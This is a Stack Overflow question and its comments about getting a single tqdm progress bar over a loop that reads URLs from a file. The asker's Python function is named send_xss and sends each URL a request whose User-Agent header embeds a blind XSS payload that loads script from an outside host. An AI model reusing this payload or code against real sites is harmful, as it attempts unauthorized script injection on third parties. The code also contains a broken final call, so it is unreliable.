1

I have a for-loop to read line by line from a file. I use a try statement in this loop.
I'd like to know how a tqdm can be used to check progress?

I have tried many methods but failed.
My output :
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10/10 [00:00<00:00, 712.34it/s] 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10/10 [00:00<00:00, 674.33it/s] 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10/10 [00:00<00:00, 543.35it/s]


I get this one passive output for each request. Does this mean that if I have file that contains 100 urls, my code will output 100 tqdm passive results line ?

How can I check global progress instead ?

def send_xss(filee):
    urls_file = open(filee , 'r') #open the file to Reading
    timeout = 0.5 # Specified Timeout => [used in timeouting printer and request sender]
    
    # Looping To Count File Lines
    count = 0
    with open(filee , 'r') as f:
        for line in f:
            count +=1

    for url in urls_file:
        url=url.strip()

        try:
            req = requests.get(url=url,headers={'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko "><script src=https://useagent.xss.ht></script>) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.125'})
                
        except:
            pass
        
        for i in tqdm(range(count)):
            time.sleep(0.001)

        time.sleep(1) # sleep 1 sec after each request
                          
    urls_file.close()


def('urls.txt') #send paylouds to all urls from this file
5
  • Welcome to Stack Overflow. Please edit your question to detail what you have actually tried, i.e. the code using tqdm, and how this failed, i.e. whether an error was thrown, whether the output was not as expected, etc. See the minimal reproducible example and How to Ask page for details how to best help us help you. Commented Jul 6, 2020 at 8:08
  • my question is Modified Commented Jul 6, 2020 at 8:53
  • I'm not quite following – your use of tqdm is completely unrelated to reading from the file (or any other sensible action, for that matter). What progress do you want to track? Commented Jul 6, 2020 at 9:00
  • 2
    for url in tqdm(urls_file): ...
    – L3viathan
    Commented Jul 6, 2020 at 9:01
  • thank you for reply i am edit my code to this and get output : 10it [00:00, 334.42it/s] but not sohw design [tqdm] Commented Jul 7, 2020 at 6:37

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Browse other questions tagged or ask your own question.